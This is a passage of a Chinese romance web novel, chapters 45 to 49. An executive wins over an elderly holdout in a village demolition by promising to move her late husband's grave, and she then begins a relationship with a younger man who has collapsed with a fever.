看,光是十三年,就已经劝住了自己。 —— 去拜访大娘之前,甘歆还是保守地去了一趟村委,这次村支书在,对她极为热情,话里话外都是感谢,还夸晟宇大公司,会办事,第一批已拆迁眼见就要大获成功了。 王主任也在旁边附和,左一句右一句地奉承着,甘歆心里也清楚,在规则之外,村干部肯定自己也运作了不少,一个个红光满面的。 她没多周旋,直奔主题,“书记,最后那户到底为什么不肯走啊?” 书记看了眼王主任,抿了抿嘴,两手一摊,“我们也不知道哇,李大娘没孩子,男人去了后就一直是她一个人住着,平时米面粮油的村里都会带上点,也有走村的大夫给看一看,我们都跟她说要去过好日子了,可她就是个倔怂,说什么都不肯动,喊着要见领导。” 甘歆听了面部表情没变,倒是暗暗觉得这书记包圆的功夫比王主任更上一层楼,几句话先把村委的责任摘了。 但自己是来解决事情的,并不打算在责任归属上和对方讨论,“那李大娘有什么明确的诉求 吗,是想要补偿多一点,还是不肯搬离北泽村?” 说到这,王主任摇了摇头,“歆总,你不了解,李大娘本来不是北泽村的人,外嫁来的,过去和村里人也不太亲近,没人能说得上话。” 甘歆沉默了下去,表情有些严肃。 “歆总,您这次真是一个人来的?”村支书突然问。 她心里一跳,齐灏说的警告浮现到脑海里,“我同事临时要开会,村里信号不好,他们就在村道儿上停着呢。” 王主任的忧虑更深了,脱口而出,“我以为您至少带个拆迁队来,哎你们不都有什么,专业的拆迁队的么?” 这话甘歆听不得,摆明了是问晟宇怎么不来强拆,早点把这个钉子拔了,早点动工。 “没有的,我们都尊重村民的意愿,有困难还是来沟通一下比较好,”甘歆觉得从他们嘴里也问不出什么,直接说,“要不麻烦王主任带个路,我去和李大娘聊一聊?” “哎哎好!”村支书似乎终于把这个皮球踢了出来,“小王,赶紧带歆总去李大娘家里。” 王主任又面露难色,甘歆心里有些恼,这脸面怎么就跟面粉捏的似的,要什么表情就能来什么表情,他又说:“歆总,李大娘不待见村委的,我就带您到她家门口行不?” “行呀,”甘歆对着他笑了笑,“麻烦您了王主任。” 一路上王主任对李大娘的抗拒拆迁行为做了深刻的谴责,连集体荣誉都拿出来了,甘歆只听不语,到了个家门口后,王主任就和她告了别,嘴上说着有什么要帮忙的随时通知,腿跑得飞快。 说是门,也只不过是个铁架子,甘歆没地方敲门,只能冲里面喊:“李大娘,大娘!我是拆迁组的负责人,您开开门,我来跟您了解情况来了。” 不一会儿,里头传来了一声带了点口音的吼:“没答应条件,我不搬!滚!!” 甘歆吓了一跳,没想到她情绪竟然这么激烈,“大娘!我来的时候谁也没跟我说条件,您让我进去,跟我说说呗,说不定我能为您解决。” “说了那么多次,连条件都不知道,也是个坏心眼的!!你走!!” 这上欺下瞒,甘歆真是恨透了,她咬了咬牙,继续喊:“大娘,我是晟宇集团的负责人,日后的保障房就是我们公司来建,您先跟我说说您的想法,能办的我们一定办!” 等了许久,李大娘没再骂回来。 一个瘦小的人影从屋子里面走出来,颤颤巍巍的,她手里拄着一根挺粗的木棍子,连上面的节子都没弄平整,近乎蹒跚地走了过来。 她皮肤暗黄,已经满脸褶子,双目都有些浑浊,看过来的时候有些向内凹的嘴唇表明牙齿已经基本掉光,李大娘年纪应该不小了。 没等甘歆说话,李大娘那只没拄拐的手,抓住了外门的铁架子,已然近乎枯槁,她上下打量了几下,自己喃喃道:“是个女娃子,女娃子好。” 甘歆松了一口气,愿意聊就是好事,“大娘,我叫甘歆,您愿意和我聊——” 没等甘歆话说完,李大娘就急切地问了过来。 “女娃娃,能不能求求你,帮我老汉儿迁个坟?” 第46章 第46章若岁月是债,那便高筑债台吧…… 总算坐进了李大娘家里,地上铺的是煤水砖,墙面倒是红砖墙,还刮了腻子,一间大屋子连着个灶间,靠墙有个炕,屋中间一张木条拼的方桌,两条凳子,还有个只有半扇门的碗柜,唯一通了电的只有点灯和冰箱,她站进去觉得空旷,又不知道该往哪儿走。 “女娃儿,你坐凳子上,我倒水。” 李大娘缓缓走到碗柜处,拿了两个宽口的粗瓷碗来,又要去够桌子上的红色热水瓶。 甘歆见状,赶紧接了过来,“李大娘,您坐,我来倒。” 粗瓷碗实在粗糙,手摸上去还有些砂砾感,李大娘让喝,甘歆没有推辞,的确也渴了,喝了小半碗,放下来的时候对李大娘笑笑,又喝了一口才停下。 “渴了吧,早饭吃没得?我这还有个面窝窝,我去拿。” “不忙,不忙大娘,”甘歆拦了拦,“就是渴了,吃过早饭的,谢谢大娘。” 李大娘点了点头,随即跟想到什么气愤的事似的,拿着粗木棍子在地上捣了两下。 “大娘,我有话直说了哈,刚刚您说搬迁的条件是给大爷迁坟,是么?”甘歆心里疑惑,这个事情根本算不得什么条件,一个村子的互相搭把手,这件事也就办了,没什么难度,怎么会成为钉子户的理由呢? “是咯是咯,我一把老骨头了,活不了几年,也没娃娃,他们要给我钱、给我房,跟我说去过好日子,我能过好久嘛。” “村委不答应给您迁坟?” 李大娘瘪嘴沉默了下去,浑浊的眼睛似乎没有聚焦,点了点头,“不肯噻,但是我怎么能丢下我老汉儿在这里,他要找不到我嘞,我死咯也不晓得去哪儿寻他。” 甘歆往大娘那坐了坐,“为啥不肯?” 大娘的木棍又怼了两下地,深深叹了口气,“他们说我不吉利噻,克夫克子,我老太婆都没怀过娃儿,到哪里克子迈?” 甘歆皱了皱眉,想起刚刚王主任那副躲祸的样子,还有村支书避嫌的态度,好像是对李大娘不太待见的样子,但她还是忍不住说道:“没那回事,李大娘你别放心上。” “咋能不放心上哟,”李大娘笑了起来,嘴唇都往里卷着,“我嫁过来五十多年咯,五十多年一直这个样子,从他们勒爷爷,到爸爸,再到他们,都是这个态度。” “大娘,您对迁坟有什么要求吗,”甘歆直接开口,这事不难办,“您跟我说,我尽量满足。” 李大娘沉默了一会儿,随即吸了两下鼻子,声线里混了些闷顿,“……我想求两个墓,能不能行?” 甘歆怕她做傻事,不敢应下来,“大娘,现在买墓地,都需要开死亡证明后才能买的,现在只能买大爷的。” “不是不是,”李大娘摆着手,“另一个不是给我勒,给我大哥,老汉儿的哥哥。” “哥哥?” 李大娘叹了口长气,手揩了下眼角边的泪水,“我咋子都行,他们哥俩好安葬,我就放心咯,我是外嫁过来勒,是个外人,等我死咯,随便哪个山头一放,烧咯也好,烂咯也好,随便咯。” “等奶奶走了,墓碑就别买了,骨灰往江里洒洒,就行啦。” 奶奶走之前,意识清醒时跟家里说的话,撞进了甘歆的脑海,她鼻子一酸,怎么到头来,老人顾及的,都不是自己。 她下意识地把住了李大娘的手臂,“大娘,现在有合葬墓的,您和大爷葬在一起,哥哥单独一个,也是两个墓地。” “你这个小女娃也鬼滴很,”李大娘对着甘歆笑了笑,眼睛都笑没了,“刚才还说不死不能买滴嗦,是怕老太婆我寻死迈?” 甘歆没否认,不好意思地笑笑。 “不得行,我要是寻死,我老汉儿要气活咯,”李大娘拍了拍她的胳膊,“我答应过我老汉儿,要好好活到一百岁。” “大娘……”甘歆拿纸巾擦了擦她的眼泪,“你说的不是大条件,村委没跟我们通过气,这个事好办。” “我懂,他们觉得我不吉利嘛,没嫁过来就克死他哥哥,和弟弟搞到一个屋头了,又把弟弟克死咯。” 甘歆有些没听懂,“您原先不是要嫁给大爷?” 李大娘有些慌乱,好像自己说错了话一样,可说都说了,也不好再隐瞒,只能怯生生地问甘歆:“女娃娃,你也觉得我不吉利迈?” 甘歆摇了摇头,“我不是这个意思。” “好嘛,我把来龙去脉告诉你嘛,你要是觉得不得行,不迁坟,那我还是不搬。” “不是,大娘,我真没这个意思。”眼见要成功了,这会儿又要变卦,甘歆有些着急。 可李大娘好像已经完全沉浸在了过去,她眼睛好像是盯着桌子,又好像在看很远的地方,木条桌上已经有些油腻,水滴滴在桌子上洇不开,成了一小滩水,倒映出了屋子的窗框。 “我是逃难过来勒,我不姓李,老汉儿家里姓李,有个媒人说老李家缺媳妇,问 我要不要吃饭,说当老李家媳妇就有饭吃,我要吃饭,我肯嫁咯。 “刚定下亲,大哥出去挑水滑倒咯,后脑壳撞到了石头块块,人就没的了,媒人不肯还老李家的说亲钱,我就还是过来咯。 “我老汉那时候就是个小娃娃,啥子都不懂,老爹老娘身子虚,没多少年走咯,就剩我和我老汉儿两个。 “他长大咯,对我有那方面勒心思,我说啥子都不得行,他就闹要喝农药,说不跟他好,他就去死,我能啷个办,算咯,都可怜,就凑合过咯。” 说到这里,李大娘的眼泪毫无征兆地流了出来,老人的眼泪不似年轻人清澈,带着些浑浊,好像记忆融在了水里,记忆就有了重量。 后面老人说的话甘歆几乎都能猜到,外来的媳妇克死父母、克死原配,还和家里的小弟弟有了关系,别说那个年代,即使放在今天,也要被不少人指指点点,村里人都避恐不及,哪里还会有人来听她细说缘由。 “嘿嘿,”李大娘突然的笑吓了甘歆一跳,“所有人、全部人哦,都觉得是我勾引我老汉儿,但只有我们自己知道,是互相看好勒,老汉往死里对我好,啥好吃好喝好用勒,都先紧着我给,先前伺候他爹妈,我搞坏咯身子,他就坚持不让我生娃儿。 “村子里的人都说我是灾星,只有我老汉儿说我是他们家勒大恩人。 “就是好人不长命,生了个富贵病,没钱搞,走咯。 “你都不晓得,他走之前要挟我,说我要是寻死,他变成灰都不来认我,又说如果我活不到一百岁,他就死咯眼睛都不得闭上,凶狠狠勒。” 李大娘再次看向甘歆,这会儿嘴唇才开始颤抖,双眼里又蓄起了泪水,“女娃娃,要搬迁,我晓得是好事情,是好日子,可我放不下我老汉儿,之前求了好久,他们才帮忙把他葬在村边边山头下,那个地方说不定一炸一铲,他就没咯,我放不下心我老汉儿…… “老太婆求求你,给我老汉儿迁个坟,换个太太平平的地方,让他躺倒。我拿不拿房子,拿不拿钱,都没得事。你就让我,最后再为我老汉儿做件事,行不行得?” 如枯枝般的手握上了甘歆的手臂,这个老人带着岁月和记忆一起乞求她,甘歆眼睛一眨,一滴泪从她的下眼睑滚落,掉入了在桌上的那滩水里。 连嗓子都遏制不住胸腔里涌起来的酸意了,眼泪止不住往外冒,甘歆说不出话,只无声点头。 李大娘拿起桌上的纸巾,往甘歆脸上擦,老人家手脚没轻重,擦在脸上特别大力,她好像只想不让甘歆再掉泪,“不哭咯,你哭啥子嘛,好漂亮的女娃儿,哭得不好看咯。” 甘歆努力控制住眼泪,说话的声音也闷闷的,“大娘,迁坟归迁坟,房子和钱还是要拿的,留着防身也好。” “防啥子哟,我还防啥子嘛,”李大娘笑了起来,脸上的褶子更深了,“有个地方住就行咯,安安静静活,尽量久一点儿,让我老汉儿放心,死咯也好,好去见我老汉儿咯。” 甘歆握住了李大娘的手,“大娘,大爷也会让你拿着,你活得顺心开心,大爷也会开心的,老李家都希望这样。” “真勒迈?”李大娘嘴又瘪了起来,“老爹老娘,大哥,都不会怪我迈?拐走他们幺儿?” 甘歆摇了摇头,“他们只会谢谢你陪着他。” “哎,哎!”李大娘的泪好像决了堤,手上的粗木棍也不再去握了,另一只手也从甘歆手里抽了出来,掩面哭泣,像一个终于得到谅解的孩子。 甘歆环顾了这间屋子,虽然简陋,但都干净,平日里李大娘的洒扫肯定少不了,这里装了老李家人的一辈子,最后还有媳妇给他们看家、为他们争取,谁说老李家没福气呢? 李大娘似乎哭够了,呼吸了好几口,才缓过劲来,对着空气自言自语,“老汉儿,你总说你小,给我养老送终,你咋走勒比我都早……” 外面下起了雨,打在地上,也打进了屋子里两个女人的心里。 地面颜色逐渐变深,她们的心脏同时潮湿了起来。 甘歆早上给自己筑起的高墙瞬间坍塌,她现在特别想见齐灏。 她终于承认,自己的心早已从边缘、从角落,慢慢被他占据,刚开始只是一点点,少到只要自己打个喷嚏,就可以摆脱,所以她放任、她有恃无恐,随着时间的流逝,她几乎是主动接纳着他的侵蚀……如今再看,他已非同小可、不可磨灭。 和意外比起来,一切理由都太渺小了。 甘歆本能地抗拒代入意外来临,只要稍稍往那处偏想,她的心脏就忍不住颤抖起来。 岁月不应该是蹉跎感情的阻碍,而是打磨它的利金石。 可若岁月是债,那便高筑债台吧。 她拿过手机,正想给齐灏打电话,却看到李大娘揣着个篮子、撑了把伞往外走,甘歆一着急,把手机放在了桌上也跟着往外跑。 “大娘!下雨了,去哪儿啊?!” “找我老汉儿,把迁坟的喜事跟他说说,”李大娘回头,往外挥了挥手,“女娃娃,你回去,不要淋湿咯。” 第47章 第47章冲动也好,体验也好,她想试…… 劝了一路,李大娘犟了一路,老太太看着瘦弱,劲儿大得很,甘歆几乎都要被她拖着走,到后头索性不拦了,换她搀着李大娘,人还一个劲地把她往后推,嘴里喊着回去回去。 雨下大了,村里的水泥地颜色变深了,随着路边的杂草变多,她们走进了泥地里,仅凭地上的砖块,一步步向小径深处走去。 “就叫你回去回去,跟着我老太婆做啥子哦,”李大娘说着话,把甘歆拿的伞柄往她那倾斜一点,“这条路我闭到眼睛都能走,你凑啥子热闹迈。” 甘歆揽过她,又把伞推过去了些,“下雨,地上滑。” “下雪我老太婆都没摔过,有我老汉儿看着勒。” 她搀着这个老人,却被老人的力气带着往前走,老人走得急切,她穿的胶鞋上已经都是泥印子了,就连后脚裤管都沾上了些,可老人却顾不上,就知道往前走,好像她的老汉真的就在前方。 可能是老人的习惯,李大娘边走,嘴里还会叨叨咕咕的,左喊一声老汉儿,右喊一声大哥,她说我来咯,我来给你们带好消息咯……甘歆的鼻子酸了又酸,手里紧了又紧。 李大娘好像注意到了甘歆的哽咽,她反手抓住了甘歆的手,对着她展了个没牙的笑,眼睛都快埋进眼皮里了,脸的轮廓上都是褶子,“我这是报喜,女娃儿你莫哭,要搬家咯,要跟他们说一声噻,让他们收拾收拾东西,别到时候手忙脚乱勒。” 到山脚的时候,雨小了下来,渐渐停了,意外地,这里没有坟包,只是平地上竖着两块墓碑,大娘从篮子里拿出两个碗和几个面窝窝,每个墓碑前都放了三个面窝窝,多出来的一个她好像有点不知道该往哪放,掰了一半一边一个。 “他们兄弟感情好,要是给了这个多,那个少,少勒那个肯定要跳起来,烦球。” 甘歆站在一边没多话,就看李大娘又拿出了抹布,在墓碑上挨个擦过去,擦大哥的墓碑时小心翼翼,擦到她老汉的,就随意一些,还会特意去抠抠字里的灰。 “我老汉儿爱干净,”似乎感觉到了甘歆的目光,李大娘有些不好意思,“就喜欢我给他擦脸,但说啥子都不让我给他洗脚,我啷个不晓得他是舍不得。” “大娘……”甘歆问道,“怎么就两块碑?” 李大娘深深吸了一口气,“村子里说不吉利,不让土葬,一把火烧咯,下头就一边一个瓷缸子,没多少东西,”她眼睛又迷了起来,“要说不 吉利,那也是我不吉利,跟他们有啥子关系。” “跟您也没关系的。” 甘歆站到了李大娘边,她拉过了甘歆的手,就对着她老汉的碑说话。 “老汉儿,你看准咯,就这个女娃娃,肯帮你们搬新家,你要记得人家勒好,在上头保佑她身体健康,平平安安,晓不晓得。 “这个女娃娃,和你说咯一样勒话,说我不是灾星,说有我是你们老李家勒福气,老汉儿,我总以为你这么说是哄我勒,没想到是真勒。 “今天来找你,是过来跟你汇报……北泽村要拆咯,我们要搬去新勒地方过好日子咯,你趁还在这,周围多看看,多走走,等到咯日子,我就把你和大哥一起带走咯。 “老爹老娘和老人家们都在山上,外头闹,我就不带走咯,你莫要怪我噻。” 李大娘蹲到了墓碑前,用她枯枝般的手,抚上了墓碑,声音也柔了下来,“老汉儿,你在那头好不好嘛,每年给你烧勒钱,收到没得,不要省,也不要攒,我有补助,饭村子里有人送,他们现在良心好咯,怕我归怕我,饭还是送勒。” 甘歆实在有些看不得这场面,背过了身去用手背捂了捂鼻子,试图把心口的这股酸劲儿强压下来。 “老汉儿……”李大娘的声音在后头,带着些春雨的水汽,缓缓传来,“咱打个商量,一百岁,太久咯,八十行不行迈,我也过厌咯。 “我都快想不起来你长啥子样咯,你就让让我嘛,忘记你样子咯咋找你嘛。” 李大娘的声音突然剧烈了起来,哭腔肆意,好像要把云里的雨都倒出来似的,“老汉儿,我想你咯,你想不想我噻,你想我勒话,就带走我嘛……” 甘歆再也抑制不住,咬住手背,眼泪跟断了线的珠子似的往下掉,她压着不出声,只有抽泣的几下才有些明显。 出来得急,什么都没带,只好拿袖子来回擦一擦,李大娘此时好像终于将要说的话都说完了,把面窝窝放到了地上,碗又揣回了篮子里,往甘歆这里走过来,见她在哭,就对她招招手。 甘歆弯下了腰,大娘举起手,粗糙的指腹触到了她的脸颊,慢慢替她拭去泪痕,还和哄小孩儿一样安慰她,“不哭咯乖乖。” 看着大娘的神情,已然不见初见时的抗拒暴躁,最外层被生活磋磨烘烤的外壳已然变得酥脆,又在雨里慢慢消融,最后才露出柔软香甜的内心来。 到底雨天路滑,在泥路转水泥路的途中,大娘还是滑了一下,直接坐在了地上,身上都弄脏了,甘歆怎么搀都搀不起来,大娘就让她回村叫人。 她犹豫了一下,没这么做,把方根皮鞋脱了,直接踩在地上,又蹲在了李大娘面前,丝毫不顾忌她身上的泥水,搂过她的膝弯,往上抬了抬,感觉到李大娘似乎要往后靠,她赶紧喊出了声:“大娘,你往前,贴着我的背,抓住我,往后咱俩都得倒。” “……女娃娃,”李大娘说得很小声,“我身上脏。” “没事,咱们先回村,皮鞋要麻烦你帮我拿一下了,行不?” “要得要得,我拿,我拿。” 甘歆记忆中,只有奶奶背过她,她从未抱过奶奶,即使奶奶病重之时,瘦得都快只剩下骨架子了,她也没敢去感受奶奶的重量,后来她总是责怪自己,怎么从来没有好好给奶奶一个拥抱,亲亲奶奶的脸,或者悄悄给她塞块糖,明明这些事小时候做起来都顺畅,长大了之后反而害羞了。 李大娘不重,可甘歆却觉得每一步都带着沉,左脚是对奶奶的怀念,右脚……是对齐灏的想念。她试想了一下,如果告诉奶奶,自己和一个小十几岁的弟弟在一块儿了,奶奶的反应,好像……也一样只是会问问他做什么工作的,人好不好,对自己好不好而已,至多会再问自己,和这个人在一起开不开心。 奶奶没有世俗的眼光,只在乎孙女的快乐。 她的眼泪又流了下来,却没有手去抹了,李大娘就帮着她抹,还一下一下地拍着她的肩头,“乖乖,不哭咯,我们回家咯就不哭咯……” “大娘,我想我奶奶。”甘歆瘪嘴,嘴角都压到最下了,眼睛里的泪怎么都擦不完。 “我也想我老汉儿,天天想,”李大娘摸了摸甘歆的脑袋,“总会再看见勒,我们把自己过好,要不过去了要遭骂,小老头骂人凶,可我好想他再骂骂我。” 甘歆用力吸了一下鼻子,又笑了出来,“大娘,你后悔过没有?” “后悔啥子,和这个小男人搞到一个屋头?” 李大娘话糙,倒是一语中的,甘歆点了点头。 “后悔,后悔得不得了,”李大娘说得超大声,似乎要把甘歆的耳朵震聋一样,“后悔一开始还跟他耍心眼,吵、闹、跑,后悔咯……后悔没得跟他好好多过几年。” 脚掌刺痛了一下,好像踩到了一块石头,心脏也跟着抽动了下,今天的眼泪怎么这么多,怎么流都流不完,看李大娘哭,想奶奶是哭,想齐灏也是哭,她觉得自己好像从未如此软弱过。 她的脚掌流血了,但她不知道,身上背着个老太太,衣服裤子全脏了,脸哭花了,头发也乱了,可她的心脏好像被灌满了,像塞了个橡胶气球,里面灌的……是勇气。 拐过这个弯,李大娘的家就到了,甘歆想着,等这里的事办完,她就找齐灏聊聊。 她得先缓缓,喘口气,再假装四平八稳地和他说。 冲动也好,体验也好,她想试试了。 “歆总!!” 甘歆循着声看过去,看到了周泽,他冲着自己这跑了过来,手上好像还摁着蓝牙耳机,在打着电话,她四处看看,刚刚提起的心这才放了下来。 还好,齐灏不在。 不然自己这个样子,真的太丑了。 “歆总!您怎么了?!发生什么事了?!” 周泽过来先从上到下扫了她一遍,又看到她背后的老太太,“这位是?怎么了!?” “……没事,”甘歆声音嘶哑,不想多说,“李大娘……她脚崴了,前面就是她家,你帮我,背她进去吧,然后找人来看看。” 周泽二话不说将李大娘接了过去,站在甘歆面前又不肯走,甘歆只好挥手催促,“我没事,就是有点累,你先去,我缓缓。” 手机不在身上,甘歆也没戴表,都不知道几点了,她抬头看了看天,应该已经过了中午了,巨大的体力消耗和情绪消耗,都让她有些发懵,这会儿才感觉到腰背和脚底的疼痛来。 她抬手捋了捋额前掉下来的发,还没顺利地别到耳后,就被人从身后抱住了。 熟悉的木香侵袭而来,那人的双手环她环得很紧,下颚贴在了她的后脑上,传来了比自己更高的热度,好像还感觉到了她身上被雨打湿过的凉意,整个人贴她更紧了。 炙热的嘴唇就落在甘歆的耳朵尖上,连呼出的气都是热的,他的身体也是滚烫,可却好像被冻透了一样在发抖。 他说话的声音,好像一片残叶从云里飘摇而落,翻滚了好几圈,落下来的时候还打着颤。 齐灏说:“吓死我了。” 第48章 第48章告诉我,你想好了吗? 被齐灏放进 库里南后座的时候,甘歆连大气都不敢出,整个空间里的空气好像都被压缩了,她就这么抱着膝盖在座椅上坐着,心脏还忍不住狂跳。 怎么回来了,什么时候到的,是直接来的北泽村? 一连串的疑问到嘴边,都被齐灏的眼神堵住了,跟看仇人似的,好像能把她一口吞下去。 他就这么把她一个人扔在车里,前窗开了半扇,但把车门给锁了。 甘歆本来想奋起拍门,可脚掌的疼痛实在无法忽视,也只好乖乖坐着。 不一会儿,车门开了,齐灏从另一边上来,脸色依旧难看,对着甘歆伸手,“脚。” 她皱了皱眉,“干嘛。” “脚。” “……不要。”她好像知道他想做什么,但这确实有点儿羞耻了。 齐灏没跟她废话,抓了她的脚腕就拿了过去,也不管她的脚上有多少泥,直接放在了大腿上,甘歆明显地看到淡茶色的休闲裤上蹭出了一溜灰。 热毛巾上脚的时候,甘歆没忍住瑟缩了一下,脚腕又被他捏住了。齐灏仿佛对待一件珍品,仔仔细细地擦拭着她脚上的污泥,连脚趾缝都没漏掉,还小心翼翼地避开了受伤的地方,只在外围蹭了蹭。 他又给她递了块干毛巾,甘歆不解,齐灏眉皱了皱,“咬着,会疼。” 谁还没受过点皮肉伤,甘歆刚想说不用,强烈的刺痛就从脚心传来,她没忍住嗷叫了一声,看向齐灏的时候眼睛都瞪大了,齐灏看过来的眼神倒是坦然,还下巴抬了抬,冲着毛巾指了指。 这下甘歆老实了,把干毛巾咬在了嘴里。 她整个脚掌疼得几乎要蜷缩起来,齐灏没拿碘伏棉球的那只手就不断地安抚着她的脚背和脚掌外侧,试图让她放松下来。 男人几乎整个人都弯在了自己面前,他的两只手都滚烫,明明刚刚拽自己时那么用力,此刻却轻得像羽毛,生怕弄痛自己似的,可刺激无法避免,尽管拼劲全力放松,甘歆依旧疼得出了一层薄汗,接着她就感受到了脚底扬起的一阵风,是齐灏吹来的。 算不上凉,依旧是热的。 终于贴上了大号的创口贴,他才将她的这只脚放到了自己的腰侧,接着捞起了甘歆的另一条腿,擦拭之后又仔细看了看,好像在确认有没有受伤。 做完这些,甘歆听到他叹了口气。 她有些不敢跟现在的齐灏说话,往回抽了抽腿又被固定住,才敢去看他的眼睛。 她咽了咽,又摸了摸自己的鼻子,一句抱歉还没说出口,齐灏就别过了头不再看她,又拿出了条热毛巾,一点点给她擦脸、脖子、头发,最后是手。 甘歆任他为之,没有任何反抗。 他们很少有互相沉默的时候,尤其是甘歆,她有些不适应。 她想说谢谢,但总感觉如果说了这个,面前的男人会更生气,甘歆有些无措,她突然觉得之前的那些“驯养”理论都失了效,这会儿该做什么,该说什么,她一点头绪都没有。 幸好,齐灏只看了她一会儿,就下车了。 几分钟后,他和周泽一起回到了车上。 库里南调了个头,驶向了高速,甘歆提气想说什么,却难得在车内后视镜碰撞到了周泽的目光,他微微对甘歆摇了摇头,她便闭了嘴。 齐灏真的生气了。 一路飞快,他们路过了县城,拐进了市里,最终停留在市边缘处的一扇大铁门前。 周泽下去与门卫说了两句话,铁门就开了。 他们好像上了山,停在了半山腰处的一栋别墅前,周泽替齐灏开了门,便径直进了屋,连火都没熄,甘歆见齐灏不动,她也不敢动。 对于齐灏生气这件事,她真的一点预期都没有。 似乎终于在车里坐够了,齐灏下了车,走到甘歆这边,打开了车门,对她伸手,“过来。” 甘歆往外挪了挪,带着面皮笑,“……没鞋。” 齐灏的眉毛皱得深了,她不想再挑衅,乖巧地往外挪了挪,接着就被齐灏抱了起来。 她像个脚不沾地的公主,被这个年轻挺拔的男人横抱着,他一步步地往里走着,甘歆这才得空看一看这地方,欧式的建筑,淡黄色的主楼,屋顶是湖蓝色的,只有门口的石柱上一些蜿蜒的黑色水痕表明,这里已经有些年头了。 他跨上石阶,往里走去,还没到门口,就有个管家小跑了出来,对着齐灏低头,“少爷。” 齐灏脸色紧绷,罔顾左右,只往里走,进了门,甘歆还没来得及打量设计格调,他就转了身,屋内的电梯在他到达的这刻开了门,他抱着甘歆进了电梯,上了三楼。 走廊到底,齐灏开了房门,把甘歆放到了床上。 他也好像终于松了口气似的,脸色可算好看了点。 齐灏拿起床头的电话,吩咐了句把东西拿上来就不再说话了,他走到床尾放置的沙发上,重重地坐了下去,他仰着头,从甘歆的角度正好看到他的头顶心。 他好像很累。 门被敲了敲,齐灏起身去拿,回来的时候把东西放到了床边,就回沙发上背着身坐着了。 甘歆这才发现,拿上来的东西竟然是一套睡衣,藕色的真丝款……和她家里的十分相似,她看向齐灏,有些说不出话来。 “换了吧,”他倒是说了句,“我不回头。” 甘歆没再扭捏,把外衣裤都脱了,换上了他准备的睡衣裤。 她心里乱,嘴上倒镇定,“好了。” 齐灏深深、深深地叹了口气,“你休息吧,我出去了,饭一会儿会送上来。” 见他真起身,甘歆叫住他,“齐灏!” 男人站定了,但没有回头,说话的声音依旧冷哑,却实打实地在和她解释,“我怕气头上会说难听的话,我也……缓缓。” 话毕,他就抬腿往门口走,甘歆急了,一下忘了自己脚上有伤,站起来的时候“啊”了一声,又跌坐回了床上。 到底是年轻人,心软,只这么个动静就让齐灏转了身,他气势汹汹地走到甘歆面前,忍不住恶狠狠地对她说:“你是不是傻?! “让你别来不听,让你注意安全不听,让你有事给周泽打电话不听,连手机也不带在身边,你到底想干嘛?! “全世界你最厉害是不是?你有本事就别受伤啊,还会玩失踪了,能不能长点心,你怎么光长年纪,不长脑子啊?!” 最后一句话说出来,两个人都愣了。 “对不起,”他又低声赔罪,还想解释,“我——” 甘歆跪坐在床上,直起身子,一把拉下了齐灏的领口,吻上了他的唇。 “说这么多话,都不知道亲我一口。” 下一秒甘歆就被齐灏推开了,她惊讶地瞪大了眼睛,心里还有些遏制不住的难受,第一次主动,竟然是这个结果……年轻人果然还是,太善变了么? 齐灏面色通红,耳朵也红了,连带着脖子都染上了些绯色,他往后退了两步,才站定。 “……我,发烧了,不能亲。” 甘歆这才了然,又有些懊恼,刚刚就该注意到的,他的身体这么烫,说话的声音不同寻常地沙哑,连呼出的气都是热的。 她拽住了齐灏的袖口,抬头望他,“什么时候回来的?” “早上到的。” “直接来得北泽?” “……嗯。” 甘歆逗他,“怕我被村民吃了啊?” 齐灏的眼睛里露出了危险的神色,“他们不敢。” “知道不敢你还来,”甘歆似乎没读懂齐灏话里的意思,继续说着,“多此一举。” “……嗯。”他没有解释。 甘歆一把把他拉下来,让他坐在床沿上,她凑过去离得近了点,盯着齐灏的眼睛,明明这么年轻,眼神却这么深邃,仿佛能装下一片海。 她问:“齐灏,你是真的喜欢我啊?” 男人一愣,点了点头,他好像想躲闪,甘歆伸手抚托住了他的下巴,好像要在他的表情上找到破绽,又似乎在验证这句话的真实性。 “真的喜欢我吗,很喜欢?” 齐灏的喉结上下滚动,他觉得自己的体温又上升了些,灼热、难以忽略,连呼吸都有些不畅,“很喜欢,是真的。” 甘歆行事像个□□,内心却紧张得仿佛初中生,在齐灏视线看不到地方,脚趾都蜷缩了起来。这么多年的磨练,她终于练出了一副会掩盖的好皮囊。 她话说得很轻巧,像一个随时会抽身的玩家,“那我们要不要试试看?” 齐灏皱了皱眉,看着甘歆有些怀疑,“试试看什么?” “谈恋爱。”她直言。 他 的眼神里闪过一丝惊喜,余下的都是踌躇,“你想好了吗?” “需要想些什么?”她有些好奇,她总不信年轻人会赢过荷尔蒙。 “我的年龄,和寰科,会让我们的关系变得复杂,也会有很多额外的压力,但这些我暂时没办法改变,”齐灏看过来的眼神很认真,发烧丝毫没有影响他的逻辑和判断,“所以你真的想好了吗,跟这样的我谈恋爱。” 她没想到齐灏会这么说,换做任何一个男人,都不会在恋爱开始前,将困难前置,因为这可能会直接导致恋爱的终结。 甘歆心里泛起涟漪,她很想拥过去,将李大娘的事跟他分享,可她又害怕,她怕齐灏过于投入、过于冲动,她也想守护好他的年轻,许他年轻该有的光环——他有机会试错。 男人好像急了,两只手都把上了甘歆的胳膊,话里有着迫切的渴望,“告诉我,你想好了吗?” 月亮终于照向了他,莹白的月华映出了他最深的执迷。 她不忍心再让他等了。 也终于得以解开束缚的心口,浅浅地扯出一条口子来,让早已满溢的心绪流淌。 她听见自己说:“想好了。” 男人就这么直直地倒在了床上。 她都来不及去接,“哎哎齐灏!” 第49章 第49章别真的做我姐姐,做我女朋友…… 真是的,生着病就别逞强啊,到底谁没长脑子。 齐灏躺在床上,脸上依旧潮红,眼睛紧闭着,眉心都不舒展,整个人紧绷绷的样子,让人看着心疼,他还只是个21岁的大男孩而已。 此刻甘歆站在床边,看着家庭医生在给齐灏挂点滴,周泽紧张得整张脸都快皱在一起了。 “不用太担心,小齐少爷只是睡着了,方才应该是气血翻涌没收住,才会晕厥的,”家庭医生对着周泽说,“他这几天又没睡觉么?” 周泽摇了摇头,“少爷回了老宅,我没回去。” 医生叹了口气,“从小就这样,又拼又倔,别人的话一点都落不进耳朵里。” “张医生……”周泽看过去的表情有些讨饶,似乎希望医生不要再数落齐灏了一样,“幸好您在这里。” “也是巧了,我正好在市里开会,”张医生看向周泽,“小齐少爷也是来开会的?” 周泽犹豫了一秒,重重点头,“嗯。” 甘歆只觉得被人瞄了一眼。 张医生没再多说,吩咐了点滴和吃药的细节,又说他把助手留在楼下了,等点滴挂完了叫人来拔针就好,就是要麻烦把人送回会场去,周泽只说好。 路过甘歆的时候,两人互相点头算打了招呼,张医生便退出去了,紧接着周泽也出去了,还把门给带上了。 